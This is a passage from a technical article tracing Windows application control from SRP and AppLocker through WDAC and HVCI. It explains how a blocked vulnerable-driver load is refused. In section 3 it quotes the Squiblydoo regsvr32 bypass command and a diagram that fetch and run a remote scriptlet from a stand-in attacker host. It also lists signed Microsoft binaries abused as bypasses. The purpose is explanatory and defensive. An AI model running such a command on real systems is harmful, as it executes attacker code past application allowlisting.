&lt;p&gt;That eight-microsecond refusal is the entry point of this article. It raises four questions that the next ten sections answer in order. &lt;em&gt;Which&lt;/em&gt; Windows component refused the load? &lt;em&gt;What&lt;/em&gt; policy language did it consult? &lt;em&gt;How&lt;/em&gt; did that policy reach the device? And, most uncomfortably, &lt;em&gt;which&lt;/em&gt; classes of attack would still get to the kernel anyway?&lt;/p&gt;
&lt;p&gt;This piece sits alongside an earlier post on App Identity [@paragmali-com-app-ide].The App Identity post covers &lt;em&gt;what code identity is&lt;/em&gt; in Windows -- Authenticode, Kernel Mode Code Signing (KMCS), publisher chains, hash strategies. This article argues &lt;em&gt;what Windows does with that identity at every page-fault&lt;/em&gt;. The two pieces compose: identity is the noun; enforcement is the verb. Where App Identity covers what Windows means by &quot;this is the same bag of bytes the publisher signed,&quot; what follows is what the OS does with that fact at every PE load. The two reduce, together, to a single sentence that section five will earn: &lt;em&gt;code integrity at every layer is not a slogan; it is a page-fault sequence that runs dozens of times during one driver load.&lt;/em&gt;&lt;/p&gt;

sequenceDiagram
    participant Op as Operator (sc.exe)
    participant SCM as Service Control Manager
    participant NT as NT Loader (NtLoadDriver)
    participant CI as CI.dll (VTL0)
    participant Sk as SkCi.dll (VTL1)
    participant SLAT as Hypervisor SLAT
    Op-&amp;gt;&amp;gt;SCM: sc.exe create / start
    SCM-&amp;gt;&amp;gt;NT: NtLoadDriver(\dbutil_2_3.sys)
    NT-&amp;gt;&amp;gt;CI: Validate Authenticode + policy
    CI-&amp;gt;&amp;gt;Sk: Secure call: revalidate + check Block List
    Sk-&amp;gt;&amp;gt;Sk: Hash matches Block List entry
    Sk--&amp;gt;&amp;gt;SLAT: Refuse W-&amp;gt;X promotion
    SLAT--&amp;gt;&amp;gt;NT: Page-fault on first execute
    NT--&amp;gt;&amp;gt;SCM: STATUS_DRIVER_BLOCKED
    SCM--&amp;gt;&amp;gt;Op: ERROR_DRIVER_BLOCKED + event 3033
&lt;p&gt;But before we can explain how the load was refused, we have to explain why this kind of refusal is a twenty-five-year-old engineering problem. Two earlier Microsoft answers, Software Restriction Policies and AppLocker, were the wrong shape -- and the wrong shape in instructive ways.&lt;/p&gt;
&lt;h2&gt;2. Historical Origins: The 1990s Free-for-All and the Birth of &quot;Path Is Not Identity&quot;&lt;/h2&gt;
&lt;p&gt;In 2001, a Windows XP user double-clicked a &lt;code&gt;.vbs&lt;/code&gt; attachment and the OS asked nobody before running it. Code Red, Nimda, and MS Blaster had not yet finished teaching Microsoft why that was a bad design, but the theoretical ground was already a decade and a half old. Fred Cohen had proved, in his 1984 paper &lt;em&gt;Computer Viruses -- Theory and Experiments&lt;/em&gt; [@cohen-eecs588], that general malware detection is undecidable -- without detection, containment is, in general, impossible. The verbatim form of that result is reserved for §8 below, where the theoretical-limits argument turns on it. If detection was off the table as a general primitive, the only remaining engineering option was the &lt;em&gt;opposite&lt;/em&gt; of detection: an explicit allowlist.&lt;/p&gt;
&lt;p&gt;Authenticode existed since Internet Explorer 3 in 1996, but it was &lt;em&gt;advisory&lt;/em&gt; -- a &quot;Security Warning&quot; dialog the user could click past. The first OS-level &lt;em&gt;enforcement&lt;/em&gt; primitive arrived with Windows XP and Server 2003 in the form of Software Restriction Policies (SRP) [@learn-microsoft-com-2003-cc782792vws10]). SRP was the first time the kernel was asked to refuse a load on the strength of an administrator-set rule, not a user click.&lt;/p&gt;

The original Windows app-control primitive, introduced with Windows XP and Server 2003. SRP supports four rule classes (path, hash, certificate, zone) and a fixed-precedence walk inside the Safer API call `SaferIdentifyLevel` [@learn-microsoft-com-2003-cc786941vws10]). Deployment is Group Policy only; storage post-download is the registry. SRP was deprecated in Windows 10 build 1803 [@ms-srp-deprecated], with Microsoft&apos;s documentation explicitly redirecting to AppLocker or WDAC.

Microsoft&apos;s PE-image signing scheme [@ms-authenticode-ref], introduced with Internet Explorer 3 in 1996. An Authenticode signature attaches a CMS PKCS#7 envelope to a PE binary, binding the file&apos;s digest to a publisher certificate that chains to a Microsoft-trusted root. The same signature surface is reused by Kernel Mode Code Signing [@ms-acfb-overview], Smart App Control, and the WDAC `Signers` element discussed later in this article.
&lt;p&gt;SRP shipped four ways to identify a binary, but the architectural lesson it forced into the open was about the &lt;em&gt;first&lt;/em&gt; of those four. Path rules looked elegant on paper -- &quot;trust everything in &lt;code&gt;C:\Program Files&lt;/code&gt;&quot; -- and lethal in practice, because a path is not a property of a binary. A path is the &lt;em&gt;coordinates of a place&lt;/em&gt; a bag of bytes happens to sit, and any attacker who can write to that place inherits the trust attached to it. World-writable directories under &lt;code&gt;%TEMP%&lt;/code&gt;, &lt;code&gt;%APPDATA%&lt;/code&gt;, and various inherited-permission folders under &lt;code&gt;C:\Program Files&lt;/code&gt; itself meant that path rules were structurally a lie. Hash rules were correct but brittle; certificate rules were correct but coarse; zone rules were correct but circumventable through a download into a trusted zone.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Path is not identity. A path is a place a bag of bytes happens to sit; an attacker who can write to that place inherits the trust. This sentence will recur three times in this article -- at SRP, at AppLocker, and at WDAC&apos;s path-rule writeability check -- because every generation of Windows app-control re-learned it at a new layer.&lt;/p&gt;
&lt;/blockquote&gt;

gantt
    title Windows app-control + HVCI lineage 2001-2025
    dateFormat  YYYY-MM
    section App-control rail
    SRP (Windows XP)                  :2001-10, 17M
    AppLocker (Windows 7)             :2009-10, 72M
    Configurable CI (Windows 10 1507) :2015-07, 27M
    WDAC rename (1703/1709) + ISG/MI  :2017-04, 24M
    Multi-policy WDAC (1903)          :2019-05, 60M
    ACfB rebrand (2024)               :2024-01, 24M
    section HVCI / VBS rail
    HVCI in Device Guard (1507)       :2015-07, 13M
    HVCI rename (1607)                :2016-08, 20M
    MBEC/GMET reporting (1803)        :2018-04, 25M
    KDP (Windows 10 2004)             :2020-05, 16M
    Driver Block List GA (Win 11 22H2):2022-09, 24M
    KB5042562 Downdate fix            :2025-07, 5M
&lt;p&gt;The first inflection point came when the mass-mailer worms of 2001-2004 made it operationally embarrassing for Microsoft to keep shipping an OS in which &quot;double-click runs anything.&quot; Microsoft&apos;s Trustworthy Computing memo dates to January 2002 [@microsoft-com-trustworthy-computing] -- Bill Gates&apos; company-wide email pivoting Windows engineering toward security as a first-class deliverable. SRP was its first concrete app-control answer.Microsoft&apos;s own Windows Server 2003 SRP technical reference [@learn-microsoft-com-2003-cc786941vws10]) describes the architecture: when a user double-clicks an executable, the enforcement API &lt;code&gt;SaferIdentifyLevel&lt;/code&gt; is called to determine the rule details that apply. The same page enumerates the Safer API, the Group Policy Editor extension, the WinVerifyTrust integration with Authenticode, the Event Viewer logging, and Active Directory + Group Policy as the propagation substrate.&lt;/p&gt;
&lt;p&gt;SRP showed the &lt;em&gt;shape&lt;/em&gt; of the answer -- admin-set policy, OS-enforced, applied before launch -- but it failed on three properties the next generation would try to close. It failed on &lt;em&gt;granularity&lt;/em&gt; because path was its primary identity. It failed on &lt;em&gt;audience&lt;/em&gt; because it had no per-user or per-group scoping. And it failed on &lt;em&gt;surface&lt;/em&gt; because script hosts (&lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;) had to opt in to consult its rules. AppLocker arrived in Windows 7 to fix all three. And it discovered that even closing all three is not enough.&lt;/p&gt;
&lt;h2&gt;3. Early Approaches: AppLocker, Squiblydoo, and the Engineering of &quot;Publisher Is Not Enough&quot;&lt;/h2&gt;
&lt;p&gt;April 19, 2016. Casey Smith publishes a four-line command on his subt0x10 blog: &lt;code&gt;regsvr32 /s /n /u /i:http[:]//attacker/x.sct scrobj.dll&lt;/code&gt;. The command bypasses an AppLocker-locked-down workstation with executable and script rules enforced [@casey-smith-wayback], and -- because every default Microsoft AppLocker policy allows binaries published by &lt;code&gt;O=Microsoft Corporation&lt;/code&gt; -- the same trick works against the canonical default rules out of the box. It leaves no registry artefact, requires no admin rights, runs the attacker&apos;s code under the user&apos;s token, and -- this is the part that hurts -- cannot be patched. Because the binary it abuses is signed by Microsoft, it is on every default allowlist. The technique gets the nickname &lt;em&gt;Squiblydoo&lt;/em&gt;, gets MITRE ATT&amp;amp;CK ID T1218.010 [@mitre-t1218-010], gets used in campaigns targeting governments [@mitre-t1218-010], and gets the technique catalogued in the LOLBAS project [@lolbas-regsvr32].&lt;/p&gt;
&lt;p&gt;To understand why Smith&apos;s command was a class of failure rather than a specific bug, look at AppLocker&apos;s design. AppLocker shipped in Windows 7 and Server 2008 R2 (RTM July 2009; GA October 2009) [@wikipedia-windows-7] with five rule collections (Executable, Windows Installer, Script, DLL, Packaged App) crossed against three rule types (Path, File hash, Publisher). Per-user and per-group scoping was the explicit win over SRP, and enforcement moved out of the Safer API into a dedicated Application Identity service (&lt;code&gt;appidsvc&lt;/code&gt;) plus the &lt;code&gt;appid.sys&lt;/code&gt; filter driver [@wikipedia-applocker], so script hosts no longer needed to opt in to consult policy. AppLocker was, on paper, every fix SRP needed.&lt;/p&gt;

The Windows 7 / Server 2008 R2 successor to SRP, with five rule collections (Executable, Windows Installer, Script, DLL, Packaged App) crossed against three rule types (Path, File hash, Publisher). Enforcement is via the `appidsvc` service plus the `appid.sys` filter driver [@learn-microsoft-com-7-dd723678vws10]). Microsoft documents AppLocker today as &quot;a defense-in-depth security feature and not considered a defensible Windows security feature&quot; [@ms-applocker-overview] -- meaning the Microsoft Security Response Center will not service AppLocker bypasses as security vulnerabilities.

A signed, trusted binary that ships with the operating system and exposes functionality an attacker can repurpose for malicious execution -- without dropping any new file to disk, without triggering signature-based detection, and (in the AppLocker era) without violating any publisher-rule allowlist. The MITRE ATT&amp;amp;CK technique T1218 (&quot;System Binary Proxy Execution&quot;) [@mitre-t1218] catalogues the parent class. Microsoft&apos;s own bypass catalogue [@ms-bypass-catalogue] lists about forty Windows binaries that fall into this class.
&lt;p&gt;The Squiblydoo bypass is mechanical once you see it. AppLocker&apos;s publisher rule for &lt;code&gt;O=Microsoft Corporation&lt;/code&gt; says &lt;em&gt;yes&lt;/em&gt; to &lt;code&gt;regsvr32.exe&lt;/code&gt;. The argument-parsing code inside &lt;code&gt;regsvr32.exe&lt;/code&gt; is policy-blind -- it does not consult AppLocker before deciding to follow the &lt;code&gt;/i:URL&lt;/code&gt; flag. The remote scriptlet is fetched, parsed, and the JScript inside it is executed in-process. AppLocker has logged a successful launch of a Microsoft-signed binary and seen nothing worth blocking. The malicious code now runs with the launching user&apos;s token, with no on-disk artefact, with no registry footprint, with no need to escalate.&lt;/p&gt;

sequenceDiagram
    participant U as User session
    participant Reg as regsvr32.exe (signed)
    participant AL as AppLocker check
    participant Atk as attacker.com
    participant JS as JScript engine
    U-&amp;gt;&amp;gt;Reg: Spawn with /i:http://atk/x.sct scrobj.dll
    Reg-&amp;gt;&amp;gt;AL: Publisher = Microsoft Corp?
    AL--&amp;gt;&amp;gt;Reg: PASS (publisher rule allows)
    Reg-&amp;gt;&amp;gt;Atk: GET http://attacker/x.sct (proxy-aware, TLS-capable)
    Atk--&amp;gt;&amp;gt;Reg: Scriptlet (JScript COM)
    Reg-&amp;gt;&amp;gt;JS: Instantiate scriptlet in-process
    JS--&amp;gt;&amp;gt;Reg: Arbitrary code under user token
    Reg--&amp;gt;&amp;gt;AL: Process exit logged &quot;successful launch&quot;
&lt;p&gt;The bypass-research record is the size of a small university faculty. Microsoft&apos;s own bypass catalogue [@ms-bypass-catalogue] thanks fifteen researchers by name in its acknowledgements footer (Casey Smith, Matt Graeber, James Forshaw, Oddvar Moe, Matt Nelson, Will Dormann, Lasse Trolle Borup, Lee Christensen, Jimmy Bayne, Vladas Bulavas, William Easton, Brock Mammen, Kim Oppalfens, Philip Tsukerman, and Alex Ionescu).&lt;/p&gt;
&lt;p&gt;The catalogue itself enumerates roughly forty signed Microsoft binaries that should be blocked unless explicitly required: &lt;code&gt;addinprocess.exe&lt;/code&gt;, &lt;code&gt;bash.exe&lt;/code&gt;, &lt;code&gt;cdb.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;, &lt;code&gt;csi.exe&lt;/code&gt;, &lt;code&gt;dnx.exe&lt;/code&gt;, &lt;code&gt;dotnet.exe&lt;/code&gt;, &lt;code&gt;fsi.exe&lt;/code&gt;, &lt;code&gt;infdefaultinstall.exe&lt;/code&gt;, &lt;code&gt;kd.exe&lt;/code&gt;, &lt;code&gt;kill.exe&lt;/code&gt;, &lt;code&gt;lxrun.exe&lt;/code&gt;, &lt;code&gt;Microsoft.Workflow.Compiler.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;ntkd.exe&lt;/code&gt;, &lt;code&gt;ntsd.exe&lt;/code&gt;, &lt;code&gt;powershellcustomhost.exe&lt;/code&gt;, &lt;code&gt;rcsi.exe&lt;/code&gt;, &lt;code&gt;runscripthelper.exe&lt;/code&gt;, &lt;code&gt;system.management.automation.dll&lt;/code&gt;, &lt;code&gt;texttransform.exe&lt;/code&gt;, &lt;code&gt;visualuiaverifynative.exe&lt;/code&gt;, &lt;code&gt;wfc.exe&lt;/code&gt;, &lt;code&gt;windbg.exe&lt;/code&gt;, &lt;code&gt;wmic.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, and &lt;code&gt;wsl.exe&lt;/code&gt; are all explicitly listed.The MITRE ATT&amp;amp;CK record for T1218.010 (Regsvr32) [@mitre-t1218-010] credits Smith for the technique and dates its documented in-the-wild use to multiple &quot;campaigns targeting governments.&quot; The &quot;Squiblydoo&quot; nickname itself is widely attributed to Carbon Black&apos;s April 2016 threat advisory [@carbonblack-squiblydoo-2016], which MITRE cites as reference [3]. The LOLBAS project entry for &lt;code&gt;Regsvr32&lt;/code&gt; [@lolbas-regsvr32] preserves the verbatim AWL bypass syntax that Smith published.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;SRP (2001)&lt;/th&gt;
&lt;th&gt;AppLocker (2009)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Identity primitive&lt;/td&gt;
&lt;td&gt;Path / Hash / Cert / Zone&lt;/td&gt;
&lt;td&gt;Path / Hash / Publisher&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Per-user scoping&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Enforcement engine&lt;/td&gt;
&lt;td&gt;Safer API (&lt;code&gt;SaferIdentifyLevel&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;appidsvc&lt;/code&gt; + &lt;code&gt;appid.sys&lt;/code&gt; filter driver&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Script-host coverage&lt;/td&gt;
&lt;td&gt;Opt-in per host&lt;/td&gt;
&lt;td&gt;Centrally enforced&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Canonical bypass class&lt;/td&gt;
&lt;td&gt;Path-rule writeable directories&lt;/td&gt;
&lt;td&gt;Squiblydoo / publisher-blind LOLBINs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MSRC servicing&lt;/td&gt;
&lt;td&gt;Deprecated 2018&lt;/td&gt;
&lt;td&gt;Defense-in-depth only (not serviced)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Microsoft&apos;s own architectural surrender is in the AppLocker overview [@ms-applocker-overview] itself, in a sentence the company has now repeated for a decade -- captured verbatim in the PullQuote below. The Microsoft Security Response Center, in other words, will not treat an AppLocker bypass as a vulnerability. AppLocker remains supported, remains documented, and remains deployed in millions of enterprises -- but Microsoft has moved its security-boundary commitment to a different feature.&lt;/p&gt;

AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature. -- Microsoft Learn, AppLocker overview, 2026.

Two insights survive the AppLocker era. First, publisher-only identity is necessary but not sufficient: a bag of bytes signed by Microsoft can still host arbitrary attacker-supplied script. Second, the enforcement engine itself must be unkillable -- AppLocker&apos;s filter driver runs in the same VTL0 ring as the kernel an attacker may have compromised, so a SYSTEM-level kernel attacker can simply unload it. The next generation has to fix both. Microsoft fixed them on two parallel rails inside Windows 10.
&lt;h2&gt;4. The Evolution: Two Parallel Rails Converging on the Runtime Loop&lt;/h2&gt;
&lt;p&gt;From July 2015, Microsoft&apos;s answer evolved on two parallel rails inside Windows 10. One rail -- the configurable Code Integrity policy that would later be renamed WDAC -- replaced AppLocker&apos;s policy language with an XML schema and put the enforcement check inside the kernel. The other rail -- HVCI -- put the &lt;em&gt;kernel CI check itself&lt;/em&gt; underneath the kernel, in a hypervisor-rooted Virtual Trust Level the attacker cannot reach. The rails converged in 2019 with multi-policy WDAC, and again in September 2022 when the Driver Block List started shipping on by default.&lt;/p&gt;
&lt;h3&gt;4a. The WDAC Rail&lt;/h3&gt;
&lt;p&gt;Configurable Code Integrity (CCI) under Device Guard shipped in Windows 10 1507 in July 2015 [@wikipedia-w10-history]. For the first time, Microsoft&apos;s app-control engine consumed an XML policy: a schema with &lt;code&gt;Signers&lt;/code&gt;, &lt;code&gt;FileRules&lt;/code&gt;, &lt;code&gt;SigningScenarios&lt;/code&gt;, and the rule-option toggles that a 2026 administrator still recognises today. The engine binary was &lt;code&gt;CI.dll&lt;/code&gt; [@ms-acfb-overview], and &lt;code&gt;CI.dll&lt;/code&gt; is still the engine binary today. CCI was, from day one, serviced under MSRC criteria [@ms-acfb-overview] -- the load-bearing operational distinction from AppLocker, because Microsoft now treats a bypass of CCI as a security vulnerability.&lt;/p&gt;
&lt;p&gt;The 2017 rebranding decoupled the engine from the marketing. In October 2017 [@ms-2017-wdac-blog] Microsoft published a blog post that admitted, in a sentence that has since become a Microsoft Learn citation, that &quot;we estimate that only about 20% of our customers are using any type of application control technology.&quot; The same post announced the rename from &quot;configurable CI&quot; to &lt;em&gt;Windows Defender Application Control&lt;/em&gt;, and explained that the original Device Guard story had &quot;unintentionally left an impression for many customers that the two features were inexorably linked and could not be deployed separately.&quot;&lt;/p&gt;
&lt;p&gt;The post also disclosed that &quot;in the Windows 10 Creators Update (1703) [@wikipedia-w10-history] released last spring we introduced an option to WDAC called managed installer.&quot; Managed Installer is therefore a 1703 feature (April 2017), not a 1709 feature.This date precision matters. Earlier informal histories pin both ISG and Managed Installer to 1709; the verbatim primary makes Managed Installer a 1703 feature and ISG (rule option 14) a 1709 feature.&lt;/p&gt;

A WDAC policy is an XML document conforming to the SiPolicy schema [@ms-rule-options], evaluated by `CI.dll` at every PE load. The same feature has had four names over a decade: *configurable code integrity* (2015), *Windows Defender Device Guard* (2015-2017), *Windows Defender Application Control* (2017), and *App Control for Business* (the 2024 rename [@ms-acfb-landing]). The binary, the schema, and the runtime loop are unchanged across the renames.

The XML schema that backs every WDAC policy. The eight load-bearing elements are `Rules` (policy options), `Signers` (signer identities), `FileRules` (the `Hash`, `FilePath`, `FileName`, `FilePublisher`, certificate-attribute family), `SigningScenarios` (which split kernel-mode from user-mode coverage), `HvciOptions` (the in-policy HVCI toggle), `UpdatePolicySigners` (who can replace the policy), `SupplementalPolicySigners` (who can add to it), and `CiSigners` (the trusted signer set in the user-mode scenario).

The reputation cloud Microsoft uses for SmartScreen and Defender Antivirus. Enabling rule option 14 [@ms-isg] tells WDAC to consult ISG for &quot;known good,&quot; &quot;known bad,&quot; or &quot;unknown&quot; verdicts at runtime. ISG is not a list; it is a model. Microsoft documents the obvious contraindication: ISG &quot;isn&apos;t recommended for devices that don&apos;t have regular access to the internet.&quot;
&lt;p&gt;The architectural inflection arrived in Windows 10 1903 (May 2019) with multi-policy WDAC [@ms-deploy-multi]. Up to thirty-two active policies could now coexist on a single machine, with base-policy and supplemental-policy composition rules: two base policies intersect (a binary must be allowed by both to run), while a base and a supplemental union (allowed by either is enough). The architectural payoff is operational. The Driver Block List can now ship as a standalone WDAC policy and stack alongside an organisation&apos;s existing allowlist, without a merge-and-resign ceremony every quarter.The thirty-two-policy ceiling has since moved. The Microsoft Learn page on multi-policy deployment [@ms-deploy-multi] documents that the cap is removed on devices that have applied the April 9, 2024 cumulative update -- with one carve-out for Windows 11 21H2, where the limit remains thirty-two indefinitely.&lt;/p&gt;
&lt;p&gt;The 2024 rename to &lt;em&gt;App Control for Business&lt;/em&gt; changed the URL path on Microsoft Learn and not much else. The binary is still &lt;code&gt;CI.dll&lt;/code&gt;; the schema is still &lt;code&gt;SiPolicy&lt;/code&gt;; the rule options are still numbered the same way. Throughout the rest of this article we will use &quot;WDAC&quot; for prose searchability, with the understanding that &quot;App Control for Business,&quot; &quot;configurable code integrity,&quot; and &quot;Device Guard kernel CI&quot; all refer to the same engine.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Four aliases for the same feature: &lt;em&gt;configurable code integrity&lt;/em&gt; (2015), &lt;em&gt;Windows Defender Device Guard&lt;/em&gt; (2015-2017), &lt;em&gt;Windows Defender Application Control / WDAC&lt;/em&gt; (2017-2024), and &lt;em&gt;App Control for Business / ACfB&lt;/em&gt; (2024-). All four consume the same &lt;code&gt;SiPolicy&lt;/code&gt; XML, run against the same &lt;code&gt;CI.dll&lt;/code&gt;, and emit events on the same &lt;code&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/code&gt; channel. We use &lt;em&gt;WDAC&lt;/em&gt; throughout for searchability; the App Control for Business documentation root [@ms-acfb-landing] is the canonical 2026 entry point.&lt;/p&gt;
&lt;/blockquote&gt;

flowchart LR
    Root[SiPolicy XML]
    Root --&amp;gt; Rules[Rules&lt;br /&gt;policy options 0-20+]
    Root --&amp;gt; Signers[Signers&lt;br /&gt;signer identities]
    Root --&amp;gt; FileRules[FileRules&lt;br /&gt;Hash, FilePath, FileName, FilePublisher]
    Root --&amp;gt; Scenarios[SigningScenarios&lt;br /&gt;KMCI 131, UMCI 12]
    Root --&amp;gt; Hvci[HvciOptions&lt;br /&gt;0, 1, 2, 4]
    Root --&amp;gt; Update[UpdatePolicySigners&lt;br /&gt;who may replace policy]
    Root --&amp;gt; Suppl[SupplementalPolicySigners&lt;br /&gt;who may augment]
    Root --&amp;gt; Ci[CiSigners&lt;br /&gt;trusted signer set in UMCI]
&lt;h3&gt;4b. The HVCI Rail&lt;/h3&gt;
&lt;p&gt;In August 2006, Joanna Rutkowska stood up at Black Hat USA and demonstrated Blue Pill [@en-wikipedia-org-wiki-bluepillsoftware]), a rootkit based on AMD-V hardware virtualization that loaded itself underneath the running operating system. The point was not the rootkit. The point was a threat-model anchor: if attackers can own the hypervisor [@paragmali-com-a-security], no kernel-mode mitigation can trust the kernel below it. The architectural answer Microsoft would eventually deploy is simple to state and hard to build: own the hypervisor first.Rutkowska&apos;s Black Hat USA 2006 presentation [@rutkowska-bh2006] demonstrated Blue Pill against Windows Vista; the deck was 52 pages, the rootkit was an AMD Pacifica (AMD-V) demonstration, and the talk was given on August 3, 2006. Alex Ionescu would invert the same architecture nine years later for HVCI -- the hypervisor is now the &lt;em&gt;defender&apos;s&lt;/em&gt; substrate.&lt;/p&gt;
&lt;p&gt;Device Guard kernel-mode CI / HVCI shipped in Windows 10 1507 in July 2015 [@wikipedia-w10-history] on a hardware-rooted hypervisor that Microsoft built specifically to host this kind of trust check. The architecture is clean. &lt;code&gt;SkCi.dll&lt;/code&gt; runs inside Virtual Trust Level 1, the higher-privileged of the two VTLs the hypervisor exposes. The NT kernel runs in VTL0. When the NT kernel needs to validate a driver image, it asks VTL1 -- and only after VTL1 says yes does the hypervisor flip the SLAT entries for the driver&apos;s code pages from W to X [@ms-kdp-blog].&lt;/p&gt;

The hypervisor-enforced privilege separation that Microsoft introduced with Virtualization-Based Security in Windows 10. VTL0 hosts the normal NT kernel and userland; VTL1 hosts the Secure Kernel and a tiny set of &quot;trustlets&quot; -- LSAISO for Credential Guard, the per-VTL CI engine `SkCi.dll`, the virtual TPM. A SYSTEM-level attacker in VTL0 cannot read or write VTL1 memory; the hypervisor enforces the separation through SLAT permissions. Alex Ionescu&apos;s Battle of SKM and IUM [@github-com-20alex20ionescu20-20201520blackhat2015] is the canonical 2015 primary on the architecture.

Microsoft Learn [@ms-memory-integrity] documents the feature under three names that all refer to the same code path: *memory integrity* (the consumer-facing label in Windows Security), *hypervisor-protected code integrity* (the technical name), and *hypervisor enforced code integrity* (the alternate technical name). The page reads, verbatim: &quot;Memory integrity is sometimes referred to as hypervisor-protected code integrity (HVCI) or hypervisor enforced code integrity, and was originally released as part of Device Guard.&quot;

A page is either writable or executable, but never both. HVCI enforces W$\oplus$X for kernel pages by holding the page write-permission and execute-permission bits in SLAT entries that VTL0 cannot edit [@ms-kdp-blog]. VTL1&apos;s `SkCi.dll` decides whether a page is executable; the hypervisor decides whether VTL0 can ever ask the question. The invariant exists to deny one specific class of attack -- writing a new payload into a kernel page and then executing it -- but it does not stop attacks that compose only of *existing* executable bytes (return-oriented and jump-oriented programming).
&lt;p&gt;The next four versions of Windows 10 added one capability each. Windows 10 1607 (August 2016) [@wikipedia-w10-history] renamed the feature to HVCI, severed the marketing tie to Device Guard, and added a Windows Security app toggle. Windows 10 1803 (April 2018) [@ms-memory-integrity] added Mode-Based Execution Control reporting on Intel Kabylake-and-later silicon; AMD&apos;s Zen 2 added the equivalent Guest Mode Execute Trap. Older silicon falls back to Restricted User Mode emulation, which the same Microsoft Learn page warns &quot;will have a bigger impact on performance.&quot;&lt;/p&gt;
&lt;p&gt;Windows 10 2004 (May 2020) added Kernel Data Protection (KDP) [@ms-kdp-blog], the second floor of the W$\oplus$X discipline -- once code is unforgeable, attackers shift to data corruption, so KDP makes selected kernel data ranges unforgeable too. Windows 11 22H2 (September 2022) made HVCI on by default for most new Windows 11 devices [@ms-driver-blocklist], and shipped the Vulnerable Driver Block List on by default alongside it.&lt;/p&gt;

Microsoft Learn&apos;s three-name reconciliation is the verbatim quote in the §4b *HVCI / Memory Integrity* Definition above. Three names; one code path; one `SkCi.dll`; one architectural inversion of Blue Pill. We use *HVCI (Memory Integrity in Windows Security)* as the canonical first-mention form and *HVCI* for prose density throughout; a 2017 Microsoft Mechanics video called it *Device Guard*.

flowchart TB
    VTL0[&quot;VTL0 -- NT kernel + CI.dll&lt;br /&gt;&apos;asks&apos; for execute permission&quot;]
    HV[&quot;Hypervisor -- hvix64.exe / hvax64.exe&lt;br /&gt;holds SLAT page tables&quot;]
    VTL1[&quot;VTL1 -- Secure Kernel + SkCi.dll&lt;br /&gt;validates Authenticode + Block List&quot;]
    Page[&quot;Driver image page&lt;br /&gt;state: Writable -&amp;gt; ReadOnly+Execute&quot;]
    VTL0 -- &quot;Secure call: validate image&quot; --&amp;gt; VTL1
    VTL1 -- &quot;If signed and not blocked&quot; --&amp;gt; HV
    HV -- &quot;Flip SLAT entry W-&amp;gt;X&quot; --&amp;gt; Page
    Page -- &quot;Future write from VTL0&quot; --&amp;gt; HV
    HV -- &quot;Page-fault, no transition&quot; --&amp;gt; VTL0
&lt;p&gt;By 2022 the two rails had converged at the operational level. The Driver Block List shipped as a standalone WDAC policy that HVCI&apos;s &lt;code&gt;SkCi.dll&lt;/code&gt; enforced in VTL1 on every kernel-mode driver load. Now we can finally answer the question that opened this article: which Windows component refused the BYOVD load? The honest answer is &lt;em&gt;both rails working together at the page-fault&lt;/em&gt;. That sequence is the next section.&lt;/p&gt;
&lt;h2&gt;5. The Breakthrough: The Runtime Enforcement Loop, End-to-End&lt;/h2&gt;
&lt;p&gt;Open &lt;code&gt;Process Monitor&lt;/code&gt;, watch a kernel driver load, and the human-readable output is &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt; returns success. Open &lt;code&gt;WinDbg&lt;/code&gt; against a kernel-mode debugger session, set a breakpoint on &lt;code&gt;SeCodeIntegrityVerifySection&lt;/code&gt;, watch the same load, and roughly forty distinct trust decisions happen between &lt;code&gt;NtCreateSection&lt;/code&gt; and the moment the driver&apos;s &lt;code&gt;DriverEntry&lt;/code&gt; is allowed to execute. The forty-decision shape is folk knowledge from the kernel-debugger community; the architecture that produces it is documented. Here is the seven-step walk that wraps it.&lt;/p&gt;
&lt;p&gt;The first step is &lt;code&gt;NtCreateSection&lt;/code&gt;. The kernel parses the PE image, locates the Authenticode signature in the directory entry of the optional header, and resolves the signature&apos;s PKCS#7 envelope. Step two: &lt;code&gt;SeCodeIntegrityVerifySection&lt;/code&gt; calls into &lt;code&gt;CI.dll&lt;/code&gt; [@ms-acfb-overview] under &lt;code&gt;\Windows\System32\&lt;/code&gt;. &lt;code&gt;CI.dll&lt;/code&gt; builds a SignerHash structure for the PE -- the bound publisher identity, the leaf certificate hash, the cryptographic page-hash table -- and then opens the policy state under &lt;code&gt;C:\Windows\System32\CodeIntegrity\CIPolicies\Active\&lt;/code&gt;.The exact function names here -- &lt;code&gt;SeCodeIntegrityVerifySection&lt;/code&gt;, &lt;code&gt;CipMincryptValidateImageHeader&lt;/code&gt; -- are kernel-debugger artefacts; the Microsoft Learn page on memory integrity [@ms-memory-integrity] confirms only the higher-level &quot;kernel mode code integrity process&quot; terminology. We name the functions because the debugger view is the only way to see the loop in motion; treat them as kernel-debugger paraphrase, not as Microsoft Learn quotes.&lt;/p&gt;
